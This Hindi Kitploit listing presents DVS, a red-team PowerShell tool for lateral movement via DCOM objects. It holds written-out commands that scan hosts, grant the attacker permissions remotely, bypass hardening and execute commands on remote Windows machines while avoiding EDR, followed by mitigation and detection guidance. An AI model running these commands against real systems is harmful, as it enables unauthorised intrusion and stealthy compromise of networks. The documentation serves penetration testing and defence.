Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/scorpioneslabs/dvs
शोषणपार्श्व आंदोलनपोस्ट-शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंग
GitHubscorpioneslabs/dvs

DVS

D(COM) V(ulnerability) S(canner) जिसे दुष्ट स्विस आर्मी नाइफ भी कहा जाता है - DCOM ऑब्जेक्ट्स का उपयोग कर पार्श्विक गति

रिपॉजिटरी देखें
2564745 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

D(COM) V(ulnerability) S(canner) उर्फ दुष्ट स्विस आर्मी नाइफ - DCOM ऑब्जेक्ट्स का उपयोग करके लेटरल मूवमेंट

क्या आपने कभी सोचा है कि आप आंतरिक नेटवर्क में लेटरल कैसे जा सकते हैं? या EDRs को सचेत किए बिना रिमोट मशीनों से बातचीत कर सकते हैं?
मान लें कि हमारे पास वैध क्रेडेंशियल्स हैं, या रिमोट मशीन तक पहुंच वाला एक सक्रिय सत्र है, लेकिन हमारे पास किसी ज्ञात, अपेक्षित या अत्यधिक निगरानी वाली विधि (जैसे WMI, टास्क शेड्यूलर, WinRM, PowerShell रिमोटिंग) के माध्यम से दूरस्थ रूप से प्रक्रिया निष्पादित करने का विकल्प नहीं है।

इन परिदृश्यों के लिए, DVS फ्रेमवर्क बचाव में आता है।

DVS फ्रेमवर्क एक स्विस आर्मी नाइफ है जो आपको रिमोट DCOM ऑब्जेक्ट्स के कमजोर कार्यों को सूचीबद्ध करने, उन्हें लॉन्च करने और उनका उपयोग करके हमले शुरू करने की अनुमति देता है।

फ्रेमवर्क को "रेड टीम" मानसिकता के साथ विकसित किया जा रहा है और रिमोट मशीनों से समझौता करने के लिए गुप्त तरीकों का उपयोग करता है।

DVS फ्रेमवर्क में DCOM के विरुद्ध रिमोट हार्डनिंग को बायपास करने के विभिन्न तरीके शामिल हैं, जैसे DCOM एक्सेस को दूरस्थ रूप से पुनः सक्षम करना और हमलावर उपयोगकर्ता को स्वचालित रूप से आवश्यक अनुमतियाँ प्रदान करना।

फ्रेमवर्क हमले से पहले रिमोट मशीन पर किए गए परिवर्तनों को उनकी मूल स्थिति में वापस ला सकता है - इन परिवर्तनों को डिफेंडरों से छिपाकर।

हमारी मुख्य अंतर्दृष्टि यह है कि उपकरण एक शानदार तकनीक के माध्यम से गैर-कमजोर DCOM ऑब्जेक्ट्स का उपयोग करके कमांड भी निष्पादित कर सकता है (नीचे Invoke-RegisterRemoteSchema के बारे में पढ़ें)।

PowerShell 2.0 और उससे ऊपर के साथ संगत

यूट्यूब वीडियो PoC: DVS

अस्वीकरण

यह उपकरण केवल परीक्षण और शैक्षिक उद्देश्यों के लिए है। इस कोड का कोई अन्य उपयोग अनुमत नहीं है। अपने जोखिम पर उपयोग करें।
लेखक इस उपकरण के दुरुपयोग की कोई जिम्मेदारी नहीं लेता है।
इसका उपयोग करके आप इस तथ्य को स्वीकार करते हैं कि इस उपकरण के उपयोग से होने वाली कोई भी क्षति आपकी जिम्मेदारी है।

रजिस्ट्री एक्सेस - DVS फ्रेमवर्क उस प्रोटोकॉल का उपयोग कैसे करता है

  • रिमोट-रजिस्ट्री एक्सेस (MS-RRP)

    1. रिमोट रजिस्ट्री के साथ बातचीत करने के लिए पोर्ट 445 की जांच करें
    2. जांचें कि रिमोट-रजिस्ट्री सक्षम है या नहीं
    3. रिमोट रजिस्ट्री से बातचीत करें
    4. यदि AutoGrant मोड चिह्नित है, तो लिखने की अनुमतियाँ जांचें, अन्यथा पढ़ने की अनुमतियाँ जांचें
  • मानक रजिस्ट्री प्रदाता (यदि रिमोट-रजिस्ट्री अस्वीकार की गई है)

    1. WMI का उपयोग करके "स्टैंडर्ड रजिस्ट्री प्रदाता" से बातचीत करने के लिए पोर्ट 135 की जांच करें
    2. जांचें कि StdRegProv सुलभ है या नहीं
    3. स्टैंडर्ड रजिस्ट्री प्रदाता से बातचीत करें
    4. यदि AutoGrant मोड चिह्नित है, तो लिखने की अनुमतियाँ जांचें, अन्यथा पढ़ने की अनुमतियाँ जांचें

यह उपकरण इतना गुप्त क्यों है?

DVS उपकरण पहले जांचता है कि क्या प्रमुख-पहचान के पास निम्नलिखित चरणों के माध्यम से रिमोट मशीन तक पहुंच है:

  • मूल क्रियाएँ

    1. प्रमाणीकरण संचालन (यदि SkipRegAuth चिह्नित नहीं है)
      1. यदि क्रेडेंशियल्स प्रदान किए जाते हैं, तो यह एक "नेट-ओनली" सत्र बनाता है। अन्यथा, यह वर्तमान में लॉग ऑन सत्र का उपयोग करेगा।
      2. रजिस्ट्री एक्सेस की जांच करें।
    2. जांचें कि DCOM सुविधा सक्षम है या नहीं
    3. DCOM एक्सेस की अनुमति दें (यदि AutoGrant चिह्नित है), अन्यथा विफल
    4. जांचें कि क्या लॉग ऑन उपयोगकर्ता/प्रदान किया गया उपयोगकर्ता और जिन समूहों का वह सदस्य है (adsi/WindowsIdentity सुविधा के माध्यम से), को DCOM (रिमोट रजिस्ट्री क्वेरी के माध्यम से) से बातचीत करने की अनुमति दी गई है
    5. अनुमतियाँ प्रदान करें (यदि AutoGrant चिह्नित है), अन्यथा विफल
    6. NetBIOS over TCP (NetAPI32, या UDP पैकेट का उपयोग करके) का उपयोग करके रिमोट मशीन से डोमेन नाम हल करें, यदि यह विफल होता है तो यह रजिस्ट्री (HKLM या HKCU Hives) का उपयोग करने का प्रयास करेगा
  • Invoke-DCOMObjectScan

    1. DCOM ऑब्जेक्ट्स के साथ बातचीत करें
    2. DCOM ऑब्जेक्ट को सूचीबद्ध करें और कमजोर कार्य खोजें
    3. शोषण संभावना को मान्य करें
    4. निष्पादन पेलोड उत्पन्न करें
    5. कमजोर DCOM ऑब्जेक्ट के बारे में व्यक्तिगत जानकारी प्राप्त करें
  • Get-ExecutionCommand

    1. निष्पादन पेलोड उत्पन्न करें
  • Invoke-ExecutionCommand

    1. DCOM ऑब्जेक्ट्स के साथ बातचीत करने का प्रयास करें
    2. कमांड निष्पादित करें
  • Invoke-RegisterRemoteSchema

    1. निम्नलिखित DCOM ऑब्जेक्ट्स में से किसी एक के साथ बातचीत करने का प्रयास करें:
      • InternetExplorer.Application - InternetExplorer COM ऑब्जेक्ट
      • {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E} - Internet Explorer से संबंधित एक और COM ऑब्जेक्ट
      • {C08AFD90-F2A1-11D1-8455-00A0C91F3880} - ShellBrowserWindow
      • {9BA05972-F6A8-11CF-A442-00A0C90A8F39} - ShellWindows
    2. रिमोट स्कीमा (जैसे http://) पंजीकृत करें
    3. स्कीमा सामग्री से कमांड निष्पादित करने के लिए स्कीमा कॉन्फ़िगर करें
    4. कमांड निष्पादित करें

उपकरण घटक

  • सुरक्षा अधिकार विश्लेषक - रिमोट DCOM ऑब्जेक्ट तक पहुंचने के लिए प्रमुख-पहचान अधिकारों का विश्लेषण करना
  • रिमोट ग्रांट एक्सेस - रिमोटली लॉग ऑन उपयोगकर्ता को अनुमतियाँ प्रदान करता है (यदि वे पहले से प्रदान नहीं की गई थीं)
  • DCOM स्कैनर - प्रदान किए गए (पैटर्न और फ़ंक्शन नाम निर्दिष्ट किए जाने चाहिए) कमजोर कार्यों के लिए रिमोट/लोकल DCOM ऑब्जेक्ट्स को स्कैन और विश्लेषण करता है जब उपकरण एक कमजोर फ़ंक्शन का पता लगाता है, तो यह जांचेगा कि फ़ंक्शन में कौन से तर्क शामिल हैं और क्या फ़ंक्शन में कमांड निष्पादित करने की क्षमता है
  • DCOM कमांड जनरेटर - रिमोट मशीन पर निष्पादित करने के लिए PowerShell पेलोड उत्पन्न करता है
  • रिपोर्ट - कमजोर DCOM ऑब्जेक्ट के बारे में सभी जानकारी के साथ CSV रिपोर्ट उत्पन्न करता है
  • कमांड निष्पादन - DCOM ऑब्जेक्ट्स के माध्यम से कमांड निष्पादित करें

लेखक

  • Nimrod Levy

लाइसेंस

  • GPL v3

परीक्षण किए गए परिदृश्य

  • डोमेन से बाहर से डोमेन में
  • डोमेन के अंदर से दूसरी डोमेन-जॉइंड मशीन में
  • डोमेन से डोमेन से बाहर
  • वर्तमान सत्र से दूसरी डोमेन-जॉइंड मशीन में

परीक्षण किए गए ऑपरेटिंग सिस्टम

  • Windows 7 SP1
  • Windows 8.1
  • Windows 10
  • Windows Server 2019

श्रेय

  • Rafel Ivgi को मेंटरिंग और टूल के आर्किटेक्चर माइंडसेट में मदद करने के लिए धन्यवाद।
  • Yossi Sasi को स्क्रिप्ट को ऑप्टिमाइज़ करने में मदद करने के लिए धन्यवाद।
  • Gleb Glazkov को शमन और रोकथाम अनुभाग लिखने के लिए धन्यवाद।

स्थापना:

root@kitploit:~
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed  # Get details of the Invoke-DCOMObjectScan command
PS> Get-Help Get-ExecutionCommand -Detailed # Get details of the Get-ExecutionCommand command
PS> Get-Help Invoke-ExecutionCommand -Detailed # Get details of the Invoke-ExecutionCommand command
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Get details of the Invoke-RegisterRemoteSchema command

Invoke-DCOMObjectScan

Invoke-DCOMObjectScan फ़ंक्शन आपको DCOM ऑब्जेक्ट्स को स्कैन करने और एक फ़ाइल में शामिल पैटर्न या सटीक फ़ंक्शन नामों की सूची के माध्यम से कमजोर फ़ंक्शन खोजने की अनुमति देता है।

  • उदाहरण:

    1. DC01 होस्ट पर रजिस्ट्री क्वेरी किए बिना हमलावर मशीन से MMC20.Application (ProgID) ऑब्जेक्ट को सूचीबद्ध और स्कैन करता है।

      root@kitploit:~
         Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
      

    नोट: उपकरण ACL अनुमतियों का विश्लेषण नहीं करेगा, और जब उपकरण सफल होगा, तो यह रजिस्ट्री पर उल्लिखित विवरणों को छोड़कर ऑब्जेक्ट के बारे में सभी जानकारी हल करेगा (जैसे ऑब्जेक्ट नाम, निष्पादन योग्य फ़ाइल, आदि)।

    1. जांचें कि क्या MMC20.Application (ProgID) ऑब्जेक्ट पहले DCOM ऑब्जेक्ट की एक्सेस सूची को क्वेरी और सत्यापित किए बिना हमलावर मशीन से DC01 होस्ट तक सुलभ है।

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
      
    2. मान्य करता है कि क्या MMC20.Application (ProgID) 10.211.55.4/24 रेंज के माध्यम से लागू है। यदि मौजूद है, तो उपकरण इसके बारे में जानकारी सूचीबद्ध करने का प्रयास करेगा (वर्तमान लॉग ऑन उपयोगकर्ता सत्र का उपयोग करके)।

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
      
    3. मान्य करता है कि क्या {00020812-0000-0000-C000-000000000046} CLSID 10.211.55.4 आईपी पते के माध्यम से ऑब्जेक्ट मौजूद है और सुलभ है। यदि मौजूद है, तो उपकरण इसके बारे में जानकारी हल करेगा (lab\administrator क्रेडेंशियल्स का उपयोग करके)।

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose   
      
    4. 10.211.55.4 आईपी पते के माध्यम से निर्दिष्ट पथ पर संग्रहीत सभी ऑब्जेक्ट्स को स्कैन करता है (जैसे C:\Users\USERNAME\Desktop\DVS\objects.txt), और निर्दिष्ट फ़ाइल में स्थित फ़ंक्शन सूची (जैसे vulnerable.txt) को lab\administrator क्रेडेंशियल्स के साथ निम्नलिखित कॉन्फ़िगरेशन के साथ ढूंढता है:
      अधिकतम गहराई: 4
      अधिकतम परिणाम: 1 (प्रत्येक ऑब्जेक्ट के लिए 1 परिणाम)
      AutoGrant मोड: यदि हमारे पास ऑब्जेक्ट तक पहुंच नहीं है या DCOM सुविधा अक्षम है, तो DCOM सुविधा सक्षम करें और प्रासंगिक DCOM ऑब्जेक्ट को स्वचालित अनुदान करें।
      अंत में, मशीन को हमले से पहले की स्थिति में वापस लाएं।

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
      
    5. 10.211.55.1/24 रेंज से उपलब्ध रिमोट मशीनों पर संग्रहीत सभी ऑब्जेक्ट्स को स्कैन करता है और चयनित फ़ाइल (जैसे C:\Users\USERNAME\Desktop\DVS\vulnerable.txt) पर स्थित सूची से संभावित कमजोर फ़ंक्शन ढूंढता है, चयनित फ़ाइल (जैसे C:\Users\USERNAME\Desktop\DVS\exclude.txt) पर ऑब्जेक्ट्स को बाहर करता है, और एक ही ऑब्जेक्ट पर अन्य रूट पर समान नाम की संपत्ति को छोड़ देता है।
      नोट: SkipSameProperyName फ्लैग समान प्राथमिकताओं (विधियाँ/अन्य गुण) या विभिन्न गहराई श्रृंखला के साथ समान संपत्ति नाम होने पर कमजोर फ़ंक्शन को छोड़ सकता है।

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All  -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
      

Get-ExecutionCommand

Get-ExecutionCommand फ़ंक्शन आपको एक PowerShell पेलोड उत्पन्न करने की अनुमति देता है जो प्रासंगिक मापदंडों के साथ रिमोट DCOM फ़ंक्शन के साथ बातचीत और निष्पादित करेगा।

  • उदाहरण:
    1. जांचता है कि क्या प्रमुख-पहचान को 10.211.55.4 आईपी पते के माध्यम से {00020812-0000-0000-C000-000000000046} CLSID ऑब्जेक्ट के साथ बातचीत करने की अनुमति दी गई है, फिर यह निष्पादन कमांड उत्पन्न करेगा।

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
      
    2. DCOM एक्सेस की जाँच करता है,
      यदि प्रमुख-पहचान के पास आवश्यक अनुमतियाँ नहीं हैं या DCOM सुविधा अक्षम है, तो उपकरण DCOM सुविधा सक्षम करेगा, पहचान तक पहुंच प्रदान करेगा और 10.211.55.4 आईपी पते के माध्यम से lab\administrator क्रेडेंशियल्स का उपयोग करके MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करेगा, और आपको निष्पादन कमांड उत्पन्न करेगा।
      अंत में, यह मशीन को हमले से पहले की स्थिति में वापस लाएगा।

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
      
    3. ACL अनुमतियों का विश्लेषण किए बिना वर्तमान लॉग ऑन सत्र का उपयोग करके 10.211.55.1/24 रेंज के माध्यम से MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करने का प्रयास करता है, फिर यह निष्पादन कमांड उत्पन्न करेगा।

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
      
    4. 10.211.55.4 आईपी पते के माध्यम से, रजिस्ट्री क्वेरी किए बिना MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करने का प्रयास करता है।

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
      

Invoke-ExecutionCommand

Invoke-ExecutionCommand फ़ंक्शन आपको लॉग ऑन उपयोगकर्ता या प्रदान किए गए क्रेडेंशियल्स का उपयोग करके DCOM ऑब्जेक्ट के माध्यम से कमांड निष्पादित करने की अनुमति देता है।

  • उदाहरण:

    1. DCOM एक्सेस की जाँच करता है,
      यदि प्रमुख-पहचान के पास आवश्यक अनुमतियाँ नहीं हैं या DCOM सुविधा अक्षम है, तो उपकरण DCOM सुविधा सक्षम करेगा, पहुंच प्रदान करेगा, 10.211.55.1/24 रेंज के माध्यम से वर्तमान लॉग ऑन उपयोगकर्ता सत्र का उपयोग करके MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करेगा और निम्नलिखित कमांड निष्पादित करेगा:

      1. cmd.exe /c calc कमांड निष्पादित करता है

      2. Frame.Top गुण को 1 पर सेट करता है अंत में, मशीन को हमले से पहले की स्थिति में वापस लाएं।

        root@kitploit:~
         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
        
    2. lab\administrator क्रेडेंशियल्स का उपयोग करके 10.211.55.4 आईपी पते के माध्यम से MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करने का प्रयास करता है, और निम्नलिखित कमांड निष्पादित करता है: cmd.exe /c calc.

      root@kitploit:~
         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
      
    3. ACL अनुमतियों का विश्लेषण किए बिना वर्तमान लॉग ऑन उपयोगकर्ता सत्र का उपयोग करके MMC20.Application (ProgID) ऑब्जेक्ट के साथ बातचीत करने का प्रयास करता है, और निम्नलिखित कमांड निष्पादित करता है: cmd.exe /c calc.

      root@kitploit:~
         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
      

Invoke-RegisterRemoteSchema

Invoke-RegisterRemoteSchema फ़ंक्शन आपको लॉग ऑन उपयोगकर्ता या प्रदान किए गए क्रेडेंशियल्स का उपयोग करके निम्नलिखित DCOM ऑब्जेक्ट्स के माध्यम से कमांड निष्पादित करने की अनुमति देता है:

  • ShellBrowserWindow
  • ShellWindows
  • Internet Explorer
  • ielowutil.exe

नोट: इन DCOM-ऑब्जेक्ट्स को स्थानीय मशीन हाइव तक किसी भी पहुंच की आवश्यकता नहीं है। वे किसी भी उपयोगकर्ता के साथ पैर जमा सकते हैं जो रिमोट मशीन तक पहुंच सकता है!

  • उदाहरण:
    1. वर्तमान लॉग ऑन सत्र का उपयोग करके 10.211.55.1/24 रेंज पर cmd /c calc कमांड निष्पादित करता है, और यदि आवश्यक हो तो विशेषाधिकार प्रदान करता है

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
      
    2. प्रदान किए गए क्रेडेंशियल्स का उपयोग करके 10.211.55.4 रिमोट मशीन पर cmd /c calc कमांड निष्पादित करता है

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
      

भविष्य का कार्य

  • रिमोटली फ़ायरवॉल नियमों का विश्लेषण और परिवर्तन करें

शमन और सिफारिशें

MITRE तकनीक: T1021.003 - रिमोट सर्विसेज: डिस्ट्रीब्यूटेड कम्पोनेंट ऑब्जेक्ट मॉडल

रोकथाम

  • रिमोट DCOM एक्सेस अक्षम करें

    • विचार:
      • DCOM पर निर्भर तृतीय-पक्ष एप्लिकेशन
      • "विंडोज मैनेजमेंट इंस्ट्रुमेंटेशन" का उपयोग करके रिमोट सिस्टम प्रबंधन काम नहीं करेगा
      • COM ऑब्जेक्ट्स के साथ संभावित समस्याएं
  • यदि आवश्यक न हो तो रिमोट रजिस्ट्री एक्सेस की अनुमति न दें

    दोनों विकल्पों को उपलब्धता पर प्रभाव डाले बिना एंटरप्राइज़ वातावरण में लागू करना कठिन है।

    फिर भी, यह उन एंडपॉइंट्स के लिए एक अच्छा हार्डनिंग विकल्प हो सकता है जिन्हें डोमेन रिमोट मैनेजमेंट की आवश्यकता नहीं है (जैसे स्टैंडअलोन एंडपॉइंट्स)।

  • विंडोज डिफेंडर फ़ायरवॉल में डोमेन और प्राइवेट प्रोफाइल सक्षम करें

    • DVS उपकरण किसी भी डायनामिक RPC कनेक्शन की अनुमति देने के लिए फ़ायरवॉल में एक नियम बनाकर इस सुरक्षा नियंत्रण को बायपास करता है
  • हमले की सतह को कम करने के लिए LAPS का उपयोग करने की ओर बढ़ें। यदि डोमेन में प्रत्येक कंप्यूटर का एक अलग स्थानीय व्यवस्थापक पासवर्ड है, तो इस खाते का उपयोग लेटरल मूवमेंट के लिए नहीं किया जा सकता है।

  • उपयोगकर्ता पहुंच अधिकारों को हार्डन करना इस हमले को रोक सकता है

    • समूह नीति वस्तुओं का उपयोग करके कोई संगठन प्रशासकों, उपयोगकर्ताओं और अन्य समूहों को सूची से हटा सकता है, और केंद्रीय प्रबंधन के लिए एक विशेष समूह/उपयोगकर्ता का उपयोग करने की ओर बढ़ सकता है जो अन्य कंप्यूटरों में इंटरैक्टिव रूप से लॉग इन नहीं करता है

      root@kitploit:~
      [Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Access this computer from the network]
      

      CIS जैसे आधिकारिक हार्डनिंग गाइड में [नेटवर्क से इस कंप्यूटर तक पहुंच] की अनुशंसित सेटिंग "प्रशासकों और रिमोट डेस्कटॉप उपयोगकर्ताओं या प्रमाणित उपयोगकर्ताओं" के मानों के साथ है। ये अनुशंसाएँ DVS उपकरण के प्रति संवेदनशील हैं।

  • DCOM अनुमतियों को प्रशासकों के अधिकारों को अनुमतियों से हटाकर हार्डन करें - रिमोट लॉन्च और रिमोट एक्टिवेशन।

    • [Computer Configuration\Windows Settings\Local Policies\Security Options\DCOM]: सुरक्षा विवरणक परिभाषा भाषा (SDDL) वाक्य रचना में मशीन लॉन्च प्रतिबंध
  • कंप्यूटरों के बीच DCOM एक्सेस को ब्लॉक करने के लिए होस्ट-आधारित फ़ायरवॉल / एप्लिकेशन-अवेयर फ़ायरवॉल का उपयोग करें। विशेष रूप से उस कंप्यूटर के लिए जो आईटी या प्रबंधन बुनियादी ढांचे का हिस्सा नहीं है।

  • एप्लिकेशन नियंत्रण नियमों का उपयोग सुरक्षा नियंत्रणों के अंतिम चक्र के रूप में कमजोर प्रक्रियाओं को खतरनाक चाइल्ड प्रक्रियाओं को शुरू करने या DLL लोड करने से रोकने के लिए किया जा सकता है।
    उदाहरण:

    root@kitploit:~
    mmc.exe -> cmd.exe
    explorer.exe -> regsvr.exe
    visio.exe -> wmic.exe
    excel.exe -> Rundll32.exe
    outlook.exe -> cmd.exe
    
  • Microsoft हमले की सतह में कमी के नियमों का उपयोग कमजोर प्रक्रियाओं को खतरनाक चाइल्ड प्रक्रियाओं को शुरू करने से रोकने के लिए किया जा सकता है।

पहचान

  • निम्नलिखित स्थानों पर रजिस्ट्री में परिवर्तनों की निगरानी करें:

    root@kitploit:~
       [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
    

    यह कुंजी DCOM अनुमति सेटिंग्स है। यदि वे बदली जाती हैं, तो इसका मतलब हो सकता है कि DVS उपकरण का उपयोग करने वाले प्रतिद्वंद्वी ने हार्डनिंग हटा दी है।

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
    

    "[HKEY_LOCAL_MACHINE\SOFTWARE\Classes] कुंजी से जुड़ी उपकुंजियाँ और रजिस्ट्री मानों में एक एप्लिकेशन के बारे में जानकारी होती है जो COM कार्यक्षमता का समर्थन करने के लिए आवश्यक है। इस जानकारी में समर्थित डेटा प्रारूप, संगतता जानकारी, प्रोग्रामेटिक पहचानकर्ता, DCOM और नियंत्रण जैसे विषय शामिल हैं।" Microsoft dev center संदर्भ

    root@kitploit:~
      [MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
    

    इस कुंजी में परिवर्तन यह संकेत दे सकता है कि DVS उपकरण ने DCOM रिमोट एक्टिवेशन और रिमोट लॉन्च प्रतिबंधों को अक्षम कर दिया है।

  • कंप्यूटरों के बीच DCOM एक्सेस को ब्लॉक करने के लिए एप्लिकेशन-अवेयर फ़ायरवॉल का उपयोग करें। विशेष रूप से उस कंप्यूटर से जो आईटी या प्रबंधन बुनियादी ढांचे का हिस्सा नहीं है।

  • DCOM प्रोटोकॉल का पता लगाने के लिए इंट्रूज़न प्रिवेंशन सिस्टम (जैसे Snort, Suricata) का उपयोग किया जा सकता है जो RPC (MS-RPC, MS-RPCE) और रिमोट रजिस्ट्री प्रोटोकॉल (MS-RRP) पर आधारित है।

    • संभावित Snort नियम
  • विंडोज डिफेंडर फ़ायरवॉल की निगरानी डोमेन और प्राइवेट प्रोफाइल पर अवरुद्ध ट्रैफ़िक पर ऑडिट लॉग सक्षम करके करें।

  • निम्नलिखित कुंजी में परिवर्तनों की निगरानी करें। यह संकेत दे सकता है कि DVS उपकरण ने माइक्रोसॉफ्ट डिफेंडर फ़ायरवॉल डायनामिक RPC प्रतिबंधों को बायपास करने के लिए एक नियम बनाया है।

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
    
  • विंडोज इवेंट लॉग की निगरानी करें:ईवेंट की ऑडिट सक्षम करें। सफलता और विफलता पर सक्षम की जाने वाली ऑडिट सेटिंग्स: खाता लॉगऑन ईवेंट ऑडिट | लॉगऑन ईवेंट ऑडिट | ऑब्जेक्ट एक्सेस ऑडिट | NTLM ऑडिटिंग

इस रजिस्ट्री कुंजी पर जाएँ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] मान '1' के साथ नए DWORD बनाएँ जिन्हें ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel कहा जाता है

  • 4624 (सफल लॉगऑन) - नीली टीम DCOM के लिए दूरस्थ मशीनों से कनेक्शन पकड़ने के लिए ईवेंट का सहसंबंध बना सकती है। एक उदाहरण:
    • ईवेंट ID 4624 - लॉगऑन
    • खाता नाम: SYSTEM
    • प्रक्रिया नाम: C:\Windows\System32\services.exe
  • 4680 (अज्ञात उपयोगकर्ता या गलत पासवर्ड) - गलत उपयोगकर्ता या पासवर्ड का उपयोग करने पर होगा
  • 4688 (प्रक्रिया निर्माण) - एक प्रशासनिक उपयोगकर्ता का उपयोग करके खतरनाक उप-प्रक्रियाएँ बनाने वाली कमजोर प्रक्रियाओं की निगरानी करें। उदाहरण:
    • निर्माता प्रक्रिया नाम: C:\Windows\System32\mmc.exe -> नई प्रक्रिया नाम: C:\Windows\System32\cmd.exe
    • निर्माता प्रक्रिया नाम: C:\Windows\System32\svchost.exe -> नई प्रक्रिया नाम: C:\Windows\System32\mmc.exe
  • 8002 (NTLM) - आने वाले NTLM ट्रैफ़िक का ऑडिट करें जो अवरुद्ध हो जाएगा। उदाहरण:
    • कॉलिंग प्रक्रिया नाम: C:\Windows\System32\mmc.exe
    • कॉलिंग प्रक्रिया उपयोगकर्ता पहचान: USER
    • कॉलिंग प्रक्रिया डोमेन पहचान: DOMAIN
  • 8003 (NTLM) - इस डोमेन में NTLM प्रमाणीकरण का ऑडिट करें। उदाहरण:
    • उपयोगकर्ता: User
    • डोमेन: DOMAIN
    • वर्कस्टेशन: ATTACKER
    • प्रक्रिया: C:\Windows\System32\mmc.exe / C:\Windows\System32\dllhost.exe / C:\Windows\System32\svchost.exe / C:\Program Files\Internet Explorer\iexplore.exe
    • लॉगऑन प्रकार: 3
  • 10010 (Microsoft-Windows-DistributedCOM) - सर्वर %1 ने आवश्यक टाइमआउट के भीतर DCOM के साथ पंजीकरण नहीं किया।
  • 10014 (Microsoft-Windows-DistributedCOM) - COM+ के लिए अक्षम दूरस्थ सक्रियण सेटिंग्स के कारण विफल CLSID सक्रियण के लिए।
  • 10015 (Microsoft-Windows-DistributedCOM) - अपर्याप्त अनुमतियों के कारण DCOM निष्पादन विफल।
